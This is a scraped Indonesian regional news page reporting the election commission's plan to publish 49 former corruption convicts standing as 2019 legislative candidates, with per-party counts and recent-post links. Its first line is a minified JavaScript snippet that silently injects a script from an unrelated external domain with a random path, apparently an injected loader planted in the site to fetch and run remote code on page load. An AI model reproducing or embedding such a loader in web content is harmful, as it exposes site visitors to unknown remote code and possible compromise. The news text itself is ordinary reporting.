(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kanal

KPU Akan Beberkan 49 Caleg Eks Koruptor di Pemilu 2019


JAKARTA, Komisi Pemilihan Umum (KPU) membeberkan ada 49 orang calon anggota legislatif pada Pemilu 2019 yang merupakan mantan terpidana kasus korupsi. Jumlah itu tersebar di 12 partai politik nasional.

“Ada 49 caleg berstatus mantan terpidana korupsi pada Pemilu 2019. Bahwa kemudian mengutip Pasal 182 Undang-undang Nomor 7 Tahun 2017 yang mensyaratkan calon legislasi mantan terpidana untuk mengumumkan statusnya secara terbuka kepada publik,” kata Komisioner KPU Ilham Saputra dalam jumpa pers di Kantor KPU, Jakarta, Rabu (30/1).

Kepada cnnindonesia.com, Ilham merinci 9 caleg eks koruptor merupakan caleg DPD, 16 caleg DPRD Provinsi, dan 24 lainnya DPRD Kabupaten/kota. Sementara itu tak ada caleg DPR RI yang tercatat sebagai eks koruptor.

Lebih lanjut, Ilham merinci Partai Golkar merupakan partai dengan caleg eks koruptor terbanyak yakni sembilan orang. Kemudian disusul Partai Gerindra dengan enam caleg eks koruptor.

Lalu ada Partai Hanura sejumlah lima orang, Partai Demokrat empat orang, Partai Berkarya empat orang, dan PAN empat orang. Selanjutnya Partai Garuda dua orang, PKPI dua orang, Perindo dua orang, PDIP satu orang, PBB satu orang, dan PKS satu orang.

“Ada 4 partai yang tidak mencalonkan (eks koruptor) Partai Nasdem, PKB, kemudian PSI, dan satu lagi PPP,” tutur Ilham.

Ia menegaskan pengumuman ini untuk memenuhi hak masyarakat agar mengetahui calon yang mereka pilih. Ilham menyebut KPU juga berencana membeberkan daftar caleg mantan narapidana kasus lain dalam waktu dekat.

Data ini akan dipampang di situs resmi KPU dan Ilham juga menyebut ada rencana memampang data tersebut di TPS. “Nanti kita pertimbangkan ya. Kita pertimbangkan apakah masuk ke dalam PKPU kita karena ini perlu dilegalkan,” ucapnya. (dhf/fea)

Reporter : dhf/fea
Editor : Chell

Desy Arfianty

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

3 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

4 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

15 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

16 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

18 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

1 hari ago

This website uses cookies.